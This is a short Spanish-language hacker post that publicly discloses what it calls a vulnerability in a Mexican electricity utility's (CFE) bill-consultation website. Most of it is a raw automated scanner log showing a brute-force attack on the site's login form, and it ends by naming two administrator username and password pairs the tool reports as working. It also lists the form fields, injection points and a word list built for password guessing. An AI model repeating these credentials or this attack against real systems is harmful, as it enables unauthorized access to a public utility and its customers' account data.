CFE Vulnerable

Saludos Mundo libre.

He aqui la vulnerabilidad de cfe hay se las dejo.

http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/consulta/Default.aspx

[Tue 19 Mar 2013 08:50:46 PM CST] Auto-enabling plugin: grep.passwordProfiling
[Tue 19 Mar 2013 08:50:46 PM CST] Auto-enabling plugin: grep.getMails
[Tue 19 Mar 2013 08:50:46 PM CST] Auto-enabling plugin: grep.lang
[Tue 19 Mar 2013 08:50:48 PM CST] The page language is: es
[Tue 19 Mar 2013 08:50:49 PM CST] Starting formAuthBrute plugin execution.
[Tue 19 Mar 2013 08:50:51 PM CST] Found a form login. The action of the form is: "http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/Consulta/login.aspx?ReturnUrl=/Aplicaciones/CCFE/Recibos/consulta/Default.aspx".
[Tue 19 Mar 2013 08:50:51 PM CST] The username field to be used is: "ctl00$PHContenidoPag$UCLogin2$LoginUsuario$UserName".
[Tue 19 Mar 2013 08:50:51 PM CST] The password field to be used is: "ctl00$PHContenidoPag$UCLogin2$LoginUsuario$Password".
[Tue 19 Mar 2013 08:50:51 PM CST] Starting form authentication bruteforce on URL: "http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/Consulta/login.aspx?ReturnUrl=/Aplicaciones/CCFE/Recibos/consulta/Default.aspx".
[Tue 19 Mar 2013 08:55:29 PM CST] Found authentication credentials to: "http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/Consulta/login.aspx?ReturnUrl=/Aplicaciones/CCFE/Recibos/consulta/Default.aspx". A correct user and password combination is: admin1/roo7123. This vulnerability was found in the request with id 1907.
[Tue 19 Mar 2013 08:55:35 PM CST] Found authentication credentials to: "http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/Consulta/login.aspx?ReturnUrl=/Aplicaciones/CCFE/Recibos/consulta/Default.aspx". A correct user and password combination is: admin1/21. This vulnerability was found in the request with id 1919.
[Tue 19 Mar 2013 08:55:52 PM CST] Finished bruteforcing "http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/Consulta/login.aspx?ReturnUrl=/Aplicaciones/CCFE/Recibos/consulta/Default.aspx".
[Tue 19 Mar 2013 08:55:52 PM CST] Starting basicAuthBrute plugin execution.
[Tue 19 Mar 2013 08:55:52 PM CST] Starting formAuthBrute plugin execution.
[Tue 19 Mar 2013 08:55:52 PM CST] Starting basicAuthBrute plugin execution.
[Tue 19 Mar 2013 08:55:52 PM CST] Found 3 URLs and 4 different points of injection.
[Tue 19 Mar 2013 08:55:52 PM CST] The list of URLs is:
[Tue 19 Mar 2013 08:55:52 PM CST] - http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/Consulta/login.aspx
[Tue 19 Mar 2013 08:55:52 PM CST] - http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/Consulta/login.aspx?ReturnUrl=/Aplicaciones/CCFE/Recibos/consulta/Default.aspx
[Tue 19 Mar 2013 08:55:52 PM CST] - http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/consulta/Default.aspx
[Tue 19 Mar 2013 08:55:52 PM CST] The list of fuzzable requests is:
[Tue 19 Mar 2013 08:55:52 PM CST] - http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/Consulta/login.aspx | Method: GET | Parameters: (ReturnUrl="/Aplicacio...")
[Tue 19 Mar 2013 08:55:52 PM CST] - http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/Consulta/login.aspx?ReturnUrl=/Aplicaciones/CCFE/Recibos/consulta/Default.aspx | Method: POST | Parameters: (__EVENTARGUMENT="", __VIEWSTATE="/wEPDwUJNj...", ctl00$PHContenidoPag$UCLogin2$LoginUsuario$Password="", ctl00$PHContenidoPag$UCLogin2$LoginUsuario$RememberMe="", ctl00$PHContenidoPag$UCLogin2$LoginUsuario$UserName="", __EVENTTARGET="")
[Tue 19 Mar 2013 08:55:52 PM CST] - http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/Consulta/login.aspx?ReturnUrl=/Aplicaciones/CCFE/Recibos/consulta/Default.aspx | Method: POST | Parameters: (__EVENTARGUMENT="", ctl00$PHContenidoPag$UCLogin2$LoginUsuario$UserName="", __VIEWSTATE="/wEPDwUJNj...", __EVENTTARGET="", ctl00$PHContenidoPag$UCLogin2$LoginUsuario$Password="")
[Tue 19 Mar 2013 08:55:52 PM CST] - http://app.cfe.gob.mx/Aplicaciones/CCFE/Recibos/consulta/Default.aspx | Method: GET
[Tue 19 Mar 2013 08:55:52 PM CST] Password profiling TOP 100:
[Tue 19 Mar 2013 08:55:52 PM CST] - [1] recibo with 19 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [2] Conoce with 13 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [3] function with 10 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [4] Servicios with 9 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [5] Consulta with 8 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [6] tarifa with 8 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [7] case with 8 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [8] Incremento with 7 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [9] servicio with 7 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [10] carga with 7 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [11] domicilio with 6 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [12] tarifas with 6 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [13] servicios with 6 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [14] Avisar with 5 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [15] Consultar with 5 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [16] cuenta with 5 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [17] fallas with 5 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [18] instalaciones with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [19] adquisiciones with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [20] leer with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [21] libranza with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [22] Factores with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [23] complementarias with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [24] medidor with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [25] Nuestros with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [26] contigo with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [27] ajuste with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [28] Solicitar with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [29] compromisos with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [30] cliente with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [31] Disposiciones with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [32] contrato with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [33] solicitud with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [34] Gasoducto with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [35] modifican with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [36] entrega with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [37] Cambiar with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [38] Nuevo with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [39] autorizan with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [40] Pago with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [41] Acuerdos with 4 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [42] dejes with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [43] Proyectos with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [44] sorprender with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [45] Cambios with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [46] generales with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [47] obra with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [48] Solicitud with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [49] Normas with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [50] Ahorro with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [51] ahorrar with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [52] Consejos with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [53] arrendamientos with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [54] contratar with 3 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [55] menos with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [56] Aspectos with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [57] Obra with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [58] return with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [59] Precio with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [60] comprometidas with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [61] Programa with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [62] convocatorias with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [63] cargos with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [64] medias with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [65] fijos with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [66] Tarifa with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [67] realizar with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [68] ahora with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [69] alta with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [70] Tarifas with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [71] cuando with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [72] potencias with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [73] Calendario with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [74] solicitada with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [75] proveedores with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [76] general with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [77] materia with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [78] sitio with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [79] anual with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [80] Cuotas with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [81] usuario with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [82] Licitaciones with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [83] switch with 2 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [84] fono with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [85] Listado with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [86] derechos with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [87] Contratos with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [88] comenzar with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [89] Inicio with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [90] Nombre with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [91] nuestro with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [92] Ramal with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [93] actividades with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [94] contratos with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [95] personas with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [96] productivas with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [97] Ejecutivo with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [98] Sala with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [99] Pagos with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] - [100] Cambio with 1 repetitions.
[Tue 19 Mar 2013 08:55:52 PM CST] Finished scanning process.

Guessable credentials.

davshell.

Saludos Mundo Libre.